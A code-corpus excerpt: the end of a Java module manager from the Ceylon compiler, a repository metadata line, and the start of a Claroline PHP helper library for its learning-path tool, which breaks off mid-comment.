if(version.equals(JDKUtils.jdk.version)){ module.setAvailable(true); module.setJava(true); } } } @Override public void resolveModule(ArtifactResult artifact, Module module, ModuleImport moduleImport, LinkedList<Module> dependencyTree, List<PhasedUnits> phasedUnitsOfDependencies, boolean forCompiledModule) { String moduleName = module.getNameAsString(); boolean moduleLoadedFromSource = isModuleLoadedFromSource(moduleName); boolean isLanguageModule = module == module.getLanguageModule(); // if this is for a module we're compiling, or for an indirectly imported module, we need to check because the // module in question will be in the classpath if(moduleLoadedFromSource || forCompiledModule){ // check for an already loaded module with the same name but different version for(Module loadedModule : getContext().getModules().getListOfModules()){ if(loadedModule.getNameAsString().equals(moduleName) && !loadedModule.getVersion().equals(module.getVersion()) && getModelLoader().isModuleInClassPath(loadedModule)){ // abort // we need this error thrown rather than the typechecker error because the typechecker currently // allows more than we do, such as having direct imports of the same module with different versions // as long as they are not reexported, but we don't support that since they all go in the same // classpath (direct imports of compiled modules) String[] versions = VersionComparator.orderVersions(module.getVersion(), loadedModule.getVersion()); String error = "source code imports two different versions of module '" + module.getNameAsString() + "': "+ "version \""+versions[0] + "\" and version \""+ versions[1] + "\""; addErrorToModule(dependencyTree.getFirst(), error); return; } } } if(moduleLoadedFromSource){ super.resolveModule(artifact, module, moduleImport, dependencyTree, phasedUnitsOfDependencies, forCompiledModule); }else if(forCompiledModule || isLanguageModule || shouldLoadTransitiveDependencies()){ // we only add stuff to the classpath and load the modules if we need them to compile our modules getModelLoader().addModuleToClassPath(module, artifact); // To be able to load it from the corresponding archive if(!module.isDefault() && !getModelLoader().loadCompiledModule(module)){ // we didn't find module.class so it must be a java module if it's not the default module ((LazyModule)module).setJava(true); List<ArtifactResult> deps = artifact.dependencies(); for (ArtifactResult dep : deps) { Module dependency = getOrCreateModule(ModuleManager.splitModuleName(dep.name()), dep.version()); ModuleImport depImport = findImport(module, dependency); if (depImport == null) { moduleImport = new ModuleImport(dependency, dep.importType() == ImportType.OPTIONAL, dep.importType() == ImportType.EXPORT); module.addImport(moduleImport); } } } LazyModule lazyModule = (LazyModule) module; if(!lazyModule.isJava() && !module.isDefault()){ // it must be a Ceylon module // default modules don't have any module descriptors so we can't check them if(!Versions.isJvmBinaryVersionSupported(lazyModule.getMajor(), lazyModule.getMinor())){ attachErrorToDependencyDeclaration(moduleImport, dependencyTree, "This module was compiled for an incompatible version of the Ceylon compiler ("+lazyModule.getMajor()+"."+lazyModule.getMinor()+")." +"\nThis compiler supports "+Versions.JVM_BINARY_MAJOR_VERSION+"."+Versions.JVM_BINARY_MINOR_VERSION+"." +"\nPlease try to recompile your module using a compatible compiler." +"\nBinary compatibility will only be supported after Ceylon 1.2."); } } // module is now available module.setAvailable(true); } } /** * To be overriden by reflection module manager, because reflection requires even types of private members * of imported modules to be in the classpath, and those could be of unimported modules (since they're private * that's allowed). */ protected boolean shouldLoadTransitiveDependencies(){ return false; } @Override protected abstract Module createModule(List<String> moduleName, String version); protected abstract AbstractModelLoader getModelLoader(); /** * Return true if this module should be loaded from source we are compiling * and not from its compiled artifact at all. Returns false by default, so * modules will be laoded from their compiled artifact. */ protected boolean isModuleLoadedFromSource(String moduleName){ return false; } @Override public Iterable<String> getSearchedArtifactExtensions() { return Arrays.asList("car", "jar"); } @Override public void addImplicitImports() { Module languageModule = getContext().getModules().getLanguageModule(); for(Module m : getContext().getModules().getListOfModules()){ // Java modules don't depend on ceylon.language if((m instanceof LazyModule == false || !((LazyModule)m).isJava()) && !m.equals(languageModule)) { // add ceylon.language if required ModuleImport moduleImport = findImport(m, languageModule); if (moduleImport == null) { moduleImport = new ModuleImport(languageModule, false, true); m.addImport(moduleImport); } } } } @Override public void attachErrorToDependencyDeclaration(ModuleImport moduleImport, List<Module> dependencyTree, String error) { // special case for the java modules, which we only get when using the wrong version String name = moduleImport.getModule().getNameAsString(); if(AbstractModelLoader.isJDKModule(name)){ error = "unsupported JDK module version: the only supported version is '" + JDKUtils.jdk.version + "' which you get with Java "+JDKUtils.jdk.version; } super.attachErrorToDependencyDeclaration(moduleImport, dependencyTree, error); } @Override protected boolean compareVersions(Module current, String version, String currentVersion) { String name = current.getNameAsString(); if(JDKUtils.isJDKModule(name) || JDKUtils.isOracleJDKModule(name)){ // if we're running JDK8, pretend that it provides JDK7 modules if(JDKUtils.jdk == JDKUtils.JDK.JDK8 && JDKUtils.JDK.JDK7.version.equals(version) && JDKUtils.JDK.JDK8.version.equals(currentVersion)) return true; } return currentVersion == null || version == null || currentVersion.equals(version); } }
jvasileff/ceylon-compiler
src/com/redhat/ceylon/compiler/loader/model/LazyModuleManager.java
Java
gpl-2.0
10,514
<?php // $Id$ if ( count( get_included_files() ) == 1 ) die( '---' ); /** * CLAROLINE * * This functions library is used by most of the pages of the learning path tool * * @version version 1.8 $Revision$ * * @copyright (c) 2001-2006 Universite catholique de Louvain (UCL) * * @license http://www.gnu.org/copyleft/gpl.html (GPL) GENERAL PUBLIC LICENSE * * @author Piraux Sébastien <pir@cerdecam.be> * @author Lederer Guillaume <led@cerdecam.be> * * @package CLLNP * */ /** * content type */ define ( 'CTCLARODOC_', 'CLARODOC' ); /** * content type */ define ( 'CTDOCUMENT_', 'DOCUMENT' ); /** * content type */ define ( 'CTEXERCISE_', 'EXERCISE' ); /** * content type */ define ( 'CTSCORM_', 'SCORM' ); /** * content type */ define ( 'CTLABEL_', 'LABEL' ); /** * mode used by {@link commentBox($type, $mode)} and {@link nameBox($type, $mode)} */ define ( 'DISPLAY_', 1 ); /** * mode used by {@link commentBox($type, $mode)} and {@link nameBox($type, $mode)} */ define ( 'UPDATE_', 2 ); define ( 'UPDATENOTSHOWN_', 4 ); /** * mode used by {@link commentBox($type, $mode)} and {@link nameBox($type, $mode)} */ define ( 'DELETE_', 3 ); /** * type used by {@link commentBox($type, $mode)} and {@link nameBox($type, $mode)} */ define ( 'ASSET_', 1 ); /** * type used by {@link commentBox($type, $mode)} and {@link nameBox($type, $mode)} */ define ( 'MODULE_', 2 ); define ( 'LEARNINGPATH_', 3 ); define ( 'LEARNINGPATHMODULE_', 4 ); /** * This function is used to display comments of module or learning path with admin links if needed. * Admin links are 'edit' and 'delete' links. * * @param string $type MODULE_ , LEARNINGPATH_ , LEARNINGPATHMODULE_ * @param string $mode DISPLAY_ , UPDATE_ , DELETE_ * * @author Piraux Sébastien <pir@cerdecam.be> * @author Lederer Guillaume <led@cerdecam.be> */ function commentBox($type, $mode) { $tbl_cdb_names = claro_sql_get_course_tbl(); $tbl_lp_learnPath = $tbl_cdb_names['lp_learnPath']; $tbl_lp_rel_learnPath_module = $tbl_cdb_names['lp_rel_learnPath_module']; $tbl_lp_module = $tbl_cdb_names['lp_module']; $out = ''; // globals global $is_allowedToEdit; // will be set 'true' if the comment has to be displayed $dsp = false; // those vars will be used to build sql queries according to the comment type switch ( $type ) { case MODULE_ : $defaultTxt = get_lang('blockDefaultModuleComment'); $col_name = 'comment'; $tbl_name = $tbl_lp_module; if ( isset($_REQUEST['module_id'] ) ) { $module_id = $_REQUEST['module_id']; } else { $module_id = $_SESSION['module_id']; } $where_cond = "`module_id` = " . (int) $module_id; // use backticks ( ` ) for col names and simple quote ( ' ) for string break; case LEARNINGPATH_ : $defaultTxt = get_lang('blockDefaultLearningPathComment'); $col_name = 'comment'; $tbl_name = $tbl_lp_learnPath; $where_cond = '`learnPath_id` = '. (int) $_SESSION['path_id']; // use backticks ( ` ) for col names and simple quote ( ' ) for string break; case LEARNINGPATHMODULE_ : $defaultTxt = get_lang('blockDefaultModuleAddedComment'); $col_name = 'specificComment'; $tbl_name = $tbl_lp_rel_learnPath_module; $where_cond = "`learnPath_id` = " . (int) $_SESSION['path_id'] . " AND `module_id` = " . (int) $_SESSION['module_id']; // use backticks ( ` ) for col names and simple quote ( ' ) for string break; } // update mode // allow to chose between // - update and show the comment and the pencil and the delete cross (UPDATE_) // - update and nothing displayed after form sent (UPDATENOTSHOWN_) if ( ( $mode == UPDATE_ || $mode == UPDATENOTSHOWN_ ) && $is_allowedToEdit ) { if ( isset($_POST['insertCommentBox']) ) { $sql = "UPDATE `" . $tbl_name . "` SET `" . $col_name . "` = \"". claro_sql_escape($_POST['insertCommentBox'])."\" WHERE " . $where_cond; claro_sql_query($sql); if($mode == UPDATE_) $dsp = true; elseif($mode == UPDATENOTSHOWN_) $dsp = false; } else // display form { // get info to fill the form in $sql = "SELECT `".$col_name."` FROM `" . $tbl_name . "` WHERE " . $where_cond; $oldComment = claro_sql_query_get_single_value($sql); $out .= '<form method="post" action="'.$_SERVER['PHP_SELF'].'">' . "\n" .claro_html_textarea_editor('insertCommentBox', $oldComment, 15, 55).'<br />' . "\n" .'<input type="hidden" name="cmd" value="update' . $col_name . '" />' .'<input type="submit" value="' . get_lang('Ok') . '" />' . "\n" .'<br />' . "\n" .'</form>' . "\n" ; } } // delete mode if ( $mode == DELETE_ && $is_allowedToEdit) { $sql = "UPDATE `" . $tbl_name . "` SET `" . $col_name . "` = '' WHERE " . $where_cond; claro_sql_query($sql); $dsp = TRUE; } // display mode only or display was asked by delete mode or update mode if ( $mode == DISPLAY_ || $dsp == TRUE ) { $sql = "SELECT `".$col_name."` FROM `" . $tbl_name . "` WHERE " . $where_cond; $currentComment = claro_sql_query_get_single_value($sql); // display nothing if this is default comment and not an admin if ( ($currentComment == $defaultTxt) && !$is_allowedToEdit ) return 0; if ( empty($currentComment) ) { // if no comment and user is admin : display link to add a comment if ( $is_allowedToEdit ) { $out .= '<p>' . "\n" . claro_html_cmd_link( $_SERVER['PHP_SELF'] . '?cmd=update' . $col_name . claro_url_relay_context('&amp;') , get_lang('Add a comment') ) . '</p>' . "\n" ; } } else { // display comment $out .= "<p>".claro_parse_user_text($currentComment)."</p>"; // display edit and delete links if user as the right to see it if ( $is_allowedToEdit ) { $out .= '<p>' . "\n" . '<small>' . "\n" . '<a href="' . $_SERVER['PHP_SELF'] . '?cmd=update' . $col_name . '">' . "\n" . '<img src="' . get_icon_url('edit') . '" alt="' . get_lang('Modify') . '" />' . "\n" . '</a>' . "\n" . '<a href="' . $_SERVER['PHP_SELF'].'?cmd=del' . $col_name . '" ' . ' onclick="javascript:if(!confirm(\''.clean_str_for_javascript(get_lang('Please confirm your choice')).'\')) return false;">' . "\n" . '<img src="' . get_icon_url('delete') . '" alt="' . get_lang('Delete') . '" />' . "\n" . '</a>' . "\n" . '</small>' . "\n" . '</p>' . "\n" ; } } } return $out; } /** * This function is used to display name of module or learning path with admin links if needed * * @param string $type MODULE_ , LEARNINGPATH_ * @param string $mode display(DISPLAY_) or update(UPDATE_) mode, no delete for a name * @author Piraux Sébastien <pir@cerdecam.be> * @author Lederer Guillaume <led@cerdecam.be> */ function nameBox($type, $mode) { $tbl_cdb_names = claro_sql_get_course_tbl(); $tbl_topics = $tbl_cdb_names['bb_topics']; $tbl_lp_learnPath = $tbl_cdb_names['lp_learnPath']; $tbl_lp_module = $tbl_cdb_names['lp_module']; $out = ''; // globals global $is_allowedToEdit; global $urlAppend; // $dsp will be set 'true' if the comment has to be displayed $dsp = FALSE; // those vars will be used to build sql queries according to the name type switch ( $type ) { case MODULE_ : $col_name = 'name'; $tbl_name = $tbl_lp_module; $where_cond = '`module_id` = ' . (int) $_SESSION['module_id']; break; case LEARNINGPATH_ : $col_name = 'name'; $tbl_name = $tbl_lp_learnPath; $where_cond = '`learnPath_id` = ' . (int) $_SESSION['path_id']; break; } // update mode if ( $mode == UPDATE_ && $is_allowedToEdit) { if ( isset($_POST['newName']) && !empty($_POST['newName']) ) { $sql = "SELECT COUNT(`" . $col_name . "`) FROM `" . $tbl_name . "` WHERE `" . $col_name . "` = '" . claro_sql_escape($_POST['newName']) . "' AND !(" . $where_cond . ")"; $num = claro_sql_query_get_single_value($sql); if ($num == 0) // name doesn't already exists { $sql = "UPDATE `" . $tbl_name . "` SET `" . $col_name . "` = '" . claro_sql_escape($_POST['newName']) ."' WHERE " . $where_cond; claro_sql_query($sql); $dsp = TRUE; } else { $out .= get_lang('Error : Name already exists in the learning path or in the module pool') . '<br />'; $dsp = TRUE; } } else // display form { $sql = "SELECT `name` FROM `" . $tbl_name . "` WHERE " . $where_cond; $oldName = claro_sql_query_get_single_value($sql); $out .= '<form method="post" action="' . $_SERVER['PHP_SELF'].'">' . "\n" . '<input type="text" name="newName" size="50" maxlength="255" value="'.htmlspecialchars($oldName).'" />' . '<br />' . "\n" . '<input type="hidden" name="cmd" value="updateName" />' ."\n" . '<input type="submit" value="' . get_lang('Ok') . '" />' . "\n" . '<br />' . "\n" . '</form>' . "\n" ; } } // display if display mode or asked by the update if ( $mode == DISPLAY_ || $dsp == true ) { $sql = "SELECT `name` FROM `" . $tbl_name . "` WHERE " . $where_cond; $currentName = claro_sql_query_get_single_value($sql); $out .= '<h4>' . $currentName; if ( $is_allowedToEdit ) $out .= '<br /><a href="' . $_SERVER['PHP_SELF'] . '?cmd=updateName">' . '<img src="' . get_icon_url('edit') . '" alt="' . get_lang('Modify') . '" />' . '</a>' . "\n"; $out .= '</h4>'."\n\n"; } return $out; } /** * This function is used to display the correct image in the modules lists * It looks for the correct type in the array, and return the corresponding image name if found * else it returns a default image * * @param string $contentType type of content in learning path * @return string name of the image with extension * @author Piraux Sébastien <pir@cerdecam.be> * @author Lederer Guillaume <led@cerdecam.be> */ function selectImage($contentType) { switch($contentType) { case CTDOCUMENT_ : return get_icon_url('document', 'CLDOC'); break; case CTEXERCISE_ : return get_icon_url('quiz', 'CLQWZ'); break; case CTSCORM_ : return get_icon_url('scorm'); break; default : return get_icon_url('default'); break; } } /** * This function is used to display the correct alt texte for image in the modules lists. * Mainly used at the same time than selectImage() to add an alternate text on the image. * * @param string $contentType type of content in learning path * @return string text for the alt * @author Piraux Sébastien <pir@cerdecam.be> * @author Lederer Guillaume <led@cerdecam.be> */ function selectAlt($contentType) { $altList[CTDOCUMENT_] = get_lang('Documents and Links'); $altList[CTCLARODOC_] = get_lang('Clarodoc'); $altList[CTEXERCISE_] = get_lang('Exercises'); $altList[CTSCORM_] = get_lang('Scorm'); if (array_key_exists( $contentType , $altList )) { return $altList[$contentType]; } return "default.gif"; } /** * This function receives an array like $table['idOfThingToOrder'] = $requiredOrder and will return a sorted array * like $table[$i] = $idOfThingToOrder * the id list is sorted according to the $requiredOrder values * * @param $formValuesTab array an array like these sent by the form on learingPathAdmin.php for an exemple * * @return array an array of the sorted list of ids * * @author Piraux Sébastien <pir@cerdecam.be> * @author Lederer Guillaume <led@cerdecam.be> */ function setOrderTab ( $formValuesTab ) { global $dialogBox; $tabOrder = array(); // declaration to avoid bug in "elseif (in_array ... " $i = 0; foreach ( $formValuesTab as $key => $requiredOrder) { // error if input is not a number if( !is_num($requiredOrder) ) { $dialogBox .= get_lang('ErrorInvalidParms'); return 0; } elseif( in_array($requiredOrder, $tabOrder) ) { $dialogBox .= get_lang('Error : One or more values are doubled'); return 0; } // $tabInvert = required order => id module $tabInvert[$requiredOrder] = $key; // $tabOrder = required order : unsorted $tabOrder[$i] = $requiredOrder; $i++; } // $tabOrder = required order : sorted sort($tabOrder); $i = 0; foreach ($tabOrder as $key => $order) { // $tabSorted = new Order => id learning path $tabSorted[$i] = $tabInvert[$order]; $i++; } return $tabSorted; } /** * Check if an input string is a number * * @param string $var input to check * @return bool true if $var is a number, false otherwise * * @author Piraux Sébastien <pir@cerdecam.be> */ function is_num($var) { for ( $i = 0; $i < strlen($var); $i++ ) { $ascii = ord($var[$i]); // 48 to 57 are decimal ascii values for 0 to 9 if ( $ascii >= 48 && $ascii <= 57) continue; else return FALSE; } return TRUE; } /** * This function allows to display the modules content of a learning path. * The function must be called from inside a learning path where the session variable path_id is known. */ function display_path_content() { $tbl_cdb_names = claro_sql_get_course_tbl(); $tbl_lp_learnPath = $tbl_cdb_names['lp_learnPath']; $tbl_lp_rel_learnPath_module = $tbl_cdb_names['lp_rel_learnPath_module']; $tbl_lp_user_module_progress = $tbl_cdb_names['lp_user_module_progress']; $tbl_lp_module = $tbl_cdb_names['lp_module']; $tbl_lp_asset = $tbl_cdb_names['lp_asset']; $style = ""; $sql = "SELECT M.`name`, M.`contentType`, LPM.`learnPath_module_id`, LPM.`parent`, A.`path` FROM `" . $tbl_lp_learnPath . "` AS LP, `" . $tbl_lp_rel_learnPath_module . "` AS LPM, `" . $tbl_lp_module . "` AS M LEFT JOIN `" . $tbl_lp_asset . "` AS A ON M.`startAsset_id` = A.`asset_id` WHERE LP.`learnPath_id` = " . (int) $_SESSION['path_id'] . " AND LP.`learnPath_id` = LPM.`learnPath_id` AND LPM.`module_id` = M.`module_id` ORDER BY LPM.`rank`"; $moduleList = claro_sql_query_fetch_all($sql); $extendedList = array(); foreach( $moduleList as $module) { $extendedList[] = $module; } // build the array of modules // build_element_list return a multi-level array, where children is an array with all nested modules // build_display_element_list return an 1-level array where children is the deep of the module $flatElementList = build_display_element_list(build_element_list($extendedList, 'parent', 'learnPath_module_id')); // look for maxDeep $maxDeep = 1; // used to compute colspan of <td> cells for ($i = 0 ; $i < sizeof($flatElementList) ; $i++) { if ($flatElementList[$i]['children'] > $maxDeep) $maxDeep = $flatElementList[$i]['children'] ; } echo "\n".'<table class="claroTable" width="100%" border="0" cellspacing="2">'."\n\n" . '<tr class="headerX" align="center" valign="top">'."\n" . '<th colspan="' . ($maxDeep+1).'">' . get_lang('Module') . '</th>'."\n" . '</tr>'."\n\n" . '<tbody>'."\n" ; foreach ($flatElementList as $module) { $spacingString = ''; for($i = 0; $i < $module['children']; $i++) $spacingString .= '<td width="5" >&nbsp;</td>' . "\n"; $colspan = $maxDeep - $module['children'] + 1; echo '<tr align="center" ' . $style . '>' . "\n" . $spacingString . '<td colspan="' . $colspan . '" align="left">' ; if (CTLABEL_ == $module['contentType']) // chapter head { echo '<b>' . $module['name'] . '</b>'; } else // module { if(CTEXERCISE_ == $module['contentType'] ) $moduleImg = get_icon_url('quiz', 'CLQWZ'); else $moduleImg = get_icon_url(choose_image(basename($module['path']))); $contentType_alt = selectAlt($module['contentType']); echo '<img src="' . $moduleImg . '" alt="' .$contentType_alt.'" /> ' . $module['name'] ; } echo '</td>' . "\n" . '</tr>' . "\n\n" ; } echo '</tbody>' . "\n\n" . '</table>' . "\n\n" ; } /** * Compute the progression into the $lpid learning path in pourcent * * @param $lpid id of the learning path * @param $lpUid user id * * @return integer percentage of progression os user $mpUid in the learning path $lpid */ function get_learnPath_progress($lpid, $lpUid) { $tbl_cdb_names = claro_sql_get_course_tbl(); $tbl_lp_learnPath = $tbl_cdb_names['lp_learnPath']; $tbl_lp_rel_learnPath_module = $tbl_cdb_names['lp_rel_learnPath_module']; $tbl_lp_user_module_progress = $tbl_cdb_names['lp_user_module_progress']; $tbl_lp_module = $tbl_cdb_names['lp_module']; // find progression for this user in each module of the path $sql = "SELECT UMP.`raw` AS R, UMP.`scoreMax` AS SMax, M.`contentType` AS CTYPE, UMP.`lesson_status` AS STATUS FROM `" . $tbl_lp_learnPath . "` AS LP, `" . $tbl_lp_rel_learnPath_module . "` AS LPM, `" . $tbl_lp_user_module_progress . "` AS UMP, `" . $tbl_lp_module . "` AS M WHERE LP.`learnPath_id` = LPM.`learnPath_id` AND LPM.`learnPath_module_id` = UMP.`learnPath_module_id` AND UMP.`user_id` = " . (int) $lpUid . " AND LP.`learnPath_id` = " . (int) $lpid . " AND LPM.`visibility` = 'SHOW' AND M.`module_id` = LPM.`module_id` AND M.`contentType` != '" . CTLABEL_ . "'"; $modules = claro_sql_query_fetch_all($sql); $progress = 0; if( !is_array($modules) || empty($modules) ) { $progression = 0; } else { // progression is calculated in pourcents foreach( $modules as $module ) { if( $module['SMax'] <= 0 ) { $modProgress = 0 ; } else { $raw = min($module['R'],$module['SMax']); $modProgress = @round($raw/$module['SMax']*100); } // in case of scorm module, progression depends on the lesson status value if (($module['CTYPE']=="SCORM") && ($module['SMax'] <= 0) && (( $module['STATUS'] == 'COMPLETED') || ($module['STATUS'] == 'PASSED'))) { $modProgress = 100; } if ($modProgress >= 0) { $progress += $modProgress; } } // find number of visible modules in this path $sqlnum = "SELECT COUNT(M.`module_id`) FROM `" . $tbl_lp_rel_learnPath_module . "` AS LPM, `". $tbl_lp_module . "` AS M WHERE LPM.`learnPath_id` = " . (int) $lpid . " AND LPM.`visibility` = 'SHOW' AND M.`contentType` != '" . CTLABEL_ . "' AND M.`module_id` = LPM.`module_id` "; $nbrOfVisibleModules = claro_sql_query_get_single_value($sqlnum); if( is_numeric($nbrOfVisibleModules) && $nbrOfVisibleModules > 0) $progression = @round($progress/$nbrOfVisibleModules); else $progression = 0; } return $progression; } /** * This function displays the list of available exercises in this course * With the form to add a selected exercise in the learning path * * @param string $dialogBox Error or confirmation text * * @author Piraux Sébastien <pir@cerdecam.be> * @author Lederer Guillaume <led@cerdecam.be> */ function display_my_exercises($dialogBox) { $tbl_cdb_names = claro_sql_get_course_tbl(); $tbl_quiz_exercise = $tbl_cdb_names['qwz_exercise']; echo '<!-- display_my_exercises output -->' . "\n"; /*-------------------------------------- DIALOG BOX SECTION --------------------------------------*/ $colspan = 4; if( !empty($dialogBox) ) { echo claro_html_message_box($dialogBox).'<br />'."\n"; } echo '<table class="claroTable" width="100%" border="0" cellspacing="">'."\n\n" . '<tr class="headerX" align="center" valign="top">'."\n" . '<th width="10%">' . get_lang('Add module(s)') . '</th>'."\n" . '<th>' . get_lang('Exercises') . '</th>'."\n" . '</tr>'."\n\n" ; // Display available modules echo '<form method="post" name="addmodule" action="' . $_SERVER['PHP_SELF'] . '?cmdglobal=add">'."\n"; $atleastOne = FALSE; $sql = "SELECT `id`, `title`, `description` FROM `" . $tbl_quiz_exercise . "` ORDER BY `title`, `id`"; $exercises = claro_sql_query_fetch_all($sql); if( is_array($exercises) && !empty($exercises) ) { echo '<tbody>' . "\n\n"; foreach ( $exercises as $exercise ) { echo '<tr>'."\n" . '<td align="center">' . '<input type="checkbox" name="check_' . $exercise['id'] . '" id="check_' . $exercise['id'] . '" value="' . $exercise['id'] . '" />' . '</td>'."\n" . '<td align="left">' . '<label for="check_'.$exercise['id'].'" >' . '<img src="' . get_icon_url('quiz', 'CLQWZ') . '" alt="" /> ' . $exercise['title'] . '</label>' . '</td>'."\n" . '</tr>'."\n\n" ; // COMMENT if( !empty($exercise['description']) ) { echo '<tr>'."\n" . '<td>&nbsp;</td>'."\n" . '<td>' . '<small>' . claro_parse_user_text($exercise['description']) . '</small>' . '</td>'."\n" . '</tr>'."\n\n" ; } $atleastOne = true; }//end while another module to display echo '</tbody>'."\n\n"; } echo '<tfoot>'."\n\n"; if( !$atleastOne ) { echo '<tr>'."\n" . '<td colspan="2" align="center">' . get_lang('There is no exercise for the moment') . '</td>'."\n" . '</tr>'."\n\n" ; } // Display button to add selected modules echo '<tr>'."\n" . '<td colspan="2">' . '<hr noshade size="1">' . '</td>'."\n" . '</tr>'."\n\n" ; if( $atleastOne ) { echo '<tr>'."\n" . '<td colspan="2">' . '<input type="submit" name="insertExercise" value="'.get_lang('Add module(s)').'" />' . '</td>'."\n" . '</tr>'."\n\n" ; } echo '</form>'."\n\n" . '</tfoot>'."\n\n" . '</table>'."\n\n" . '<!-- end of display_my_exercises output -->' . "\n" ; } /** * This function is used to display the list of document available in the course * It also displays the form used to add selected document in the learning path * * @param string $dialogBox Error or confirmation text * @return nothing * @author Piraux Sébastien <pir@cerdecam.be> * @author Lederer Guillaume <led@cerdecam.be> */ function display_my_documents($dialogBox) { global $is_allowedToEdit; global $curDirName; global $curDirPath; global $parentDir; global $fileList; /** * DISPLAY */ echo '<!-- display_my_documents output -->' . "\n"; $dspCurDirName = htmlspecialchars($curDirName); $cmdCurDirPath = rawurlencode($curDirPath); $cmdParentDir = rawurlencode($parentDir); echo '<br />' . '<form action="' . $_SERVER['PHP_SELF'] . '" method="post">'; /*-------------------------------------- DIALOG BOX SECTION --------------------------------------*/ $colspan = 4; if( !empty($dialogBox) ) { echo claro_html_message_box($dialogBox); } /*-------------------------------------- CURRENT DIRECTORY LINE --------------------------------------*/ /* GO TO PARENT DIRECTORY */ if ($curDirName) /* if the $curDirName is empty, we're in the root point and we can't go to a parent dir */ { echo '<a href="' . $_SERVER['PHP_SELF'] . '?cmd=exChDir&amp;file=' . $cmdParentDir . '">' . "\n" . '<img src="' . get_icon_url('parent') . '" hspace="5" alt="" /> '."\n" . '<small>' . get_lang('Up') . '</small>' . "\n" . '</a>' . "\n" ; } /* CURRENT DIRECTORY */ echo '<table class="claroTable" width="100%" border="0" cellspacing="2">'; if ( $curDirName ) /* if the $curDirName is empty, we're in the root point and there is'nt a dir name to display */ { echo '<!-- current dir name -->' . "\n" . '<tr>' . "\n" . '<th class="superHeader" colspan="' . $colspan . '" align="left">'. "\n" . '<img src="' . get_icon_url('opendir') . '" vspace=2 hspace=5 alt="" /> ' . "\n" . $dspCurDirName . "\n" . '</td>' . "\n" . '</tr>' . "\n" ; } echo '<tr class="headerX" align="center" valign="top">' . '<th>' . get_lang('Add module(s)') . '</th>' . "\n" . '<th>' . get_lang('Name') . '</th>' . "\n" . '<th>' . get_lang('Size') . '</th>' . "\n" . '<th>' . get_lang('Date') . '</th>' . "\n" . '</tr><tbody>' . "\n" ; /*-------------------------------------- DISPLAY FILE LIST --------------------------------------*/ if ( $fileList ) { $iterator = 0; while ( list( $fileKey, $fileName ) = each ( $fileList['name'] ) ) { $dspFileName = htmlspecialchars($fileName); $cmdFileName = str_replace("%2F","/",rawurlencode($curDirPath."/".$fileName)); if ($fileList['visibility'][$fileKey] == "i") { if ($is_allowedToEdit) { $style = ' class="invisible"'; } else { $style = ""; continue; // skip the display of this file } } else { $style=""; } if ($fileList['type'][$fileKey] == A_FILE) { $image = choose_image($fileName); $size = format_file_size($fileList['size'][$fileKey]); $date = format_date($fileList['date'][$fileKey]); if ( $GLOBALS['is_Apache'] && get_conf('secureDocumentDownload') ) { // slash argument method - only compatible with Apache $doc_url = $cmdFileName; } else { // question mark argument method, for IIS ... $doc_url = '?url=' . $cmdFileName; } $urlFileName = get_path('clarolineRepositoryWeb') . 'backends/download.php'.$doc_url; } elseif ($fileList['type'][$fileKey] == A_DIRECTORY) { $image = 'folder'; $size = '&nbsp;'; $date = '&nbsp;'; $urlFileName = $_SERVER['PHP_SELF'] . '?openDir=' . $cmdFileName; } echo '<tr align="center" ' . $style . '>'."\n"; if ($fileList['type'][$fileKey] == A_FILE) { $iterator++; echo '<td>' . '<input type="checkbox" name="insertDocument_' . $iterator . '" id="insertDocument_' . $iterator . '" value="' . $curDirPath . "/" . $fileName . '" />' . '</td>' . "\n" ; } else { echo '<td>&nbsp;</td>'; } echo '<td align="left">' . '<a href="' . $urlFileName . '" ' . $style . '>' . '<img src="' . get_icon_url( $image ) . '" hspace="5" alt="" /> ' . $dspFileName . '</a>' . '</td>'."\n" . '<td><small>' . $size . '</small></td>' . "\n" . '<td><small>' . $date . '</small></td>' . "\n" ; /* NB : Before tracking implementation the url above was simply * "<a href=\"",$urlFileName,"\"",$style,">" */ echo '</tr>' . "\n"; /* COMMENTS */ if ($fileList['comment'][$fileKey] != "" ) { $fileList['comment'][$fileKey] = htmlspecialchars($fileList['comment'][$fileKey]); $fileList['comment'][$fileKey] = claro_parse_user_text($fileList['comment'][$fileKey]); echo '<tr align="left">'."\n" .'<td>&nbsp;</td>'."\n" .'<td colspan="'.$colspan.'">'."\n" .'<div class="comment">' .$fileList['comment'][$fileKey] .'</div>'."\n" .'</td>'."\n" .'</tr>'."\n"; } } // end each ($fileList) // form button echo '</tbody><tfoot>' .'<tr><td colspan="4"><hr noshade size="1"></td></tr>'."\n"; echo '<tr>'."\n" .'<td colspan="'.$colspan.'" align="left">'."\n" .'<input type="hidden" name="openDir" value="'.$curDirPath.'" />'."\n" .'<input type="hidden" name="maxDocForm" value ="'.$iterator.'" />'."\n" .'<input type="submit" name="submitInsertedDocument" value="'.get_lang('Add module(s)').'" />'."\n" .'</td>'."\n" .'</tr>'."\n"; } // end if ( $fileList) else { echo '<tr><td colspan="4"><hr noshade size="1"></td></tr>'."\n"; } echo '</tfoot></table>'."\n" .'</form>'."\n" .'<!-- end of display_my_documents output -->'."\n"; } /** * Recursive Function used to find the deep of a module in a learning path * DEPRECATED : no more since the display has been reorganised * * @param integer $id id_of_module that we are looking for deep * @param array $searchInarray of parents of modules in a learning path $searchIn[id_of_module] = parent_of_this_module * * @author Piraux Sébastien <pir@cerdecam.be> */ function find_deep($id, $searchIn) { if ( $searchIn[$id] == 0 || !isset($searchIn[$id]) && $id == $searchIn[$id]) return 0; else return find_deep($searchIn[$id],$searchIn) + 1; } /** * Build an tree of $list from $id using the 'parent' * table. (recursive function) * Rows with a father id not existing in the array will be ignored * * @param $list modules of the learning path list * @param $paramField name of the field containing the parent id * @param $idField name of the field containing the current id * @param $id learnPath_module_id of the node to build * @return tree of the learning path * * @author Piraux Sébastien <pir@cerdecam.be> */ function build_element_list($list, $parentField, $idField, $id = 0) { $tree = array(); if(is_array($list)) { foreach ($list as $element) { if( $element[$idField] == $id ) { $tree = $element; // keep all $list informations in the returned array // explicitly add 'name' and 'value' for the claro_build_nested_select_menu function //$tree['name'] = $element['name']; // useless since 'name' is the same word in db and in the claro_build_nested_select_menu function $tree['value'] = $element[$idField]; break; } } foreach ($list as $element) { if($element[$parentField] == $id && ( $element[$parentField] != $element[$idField] )) { if($id == 0) { $tree[] = build_element_list($list, $parentField, $idField, $element[$idField]); } else { $tree['children'][] = build_element_list($list, $parentField, $idField, $element[$idField]); } } } } return $tree; } /** * return a flattened tree of the modules of a learnPath after having add * 'up' and 'down' fields to let know if the up and down arrows have to be * displayed. (recursive function) * * @param $elementList a tree array as one returned by build_element_list * @param $deepness * @return array containing infos of the learningpath, each module is an element of this array and each one has 'up' and 'down' 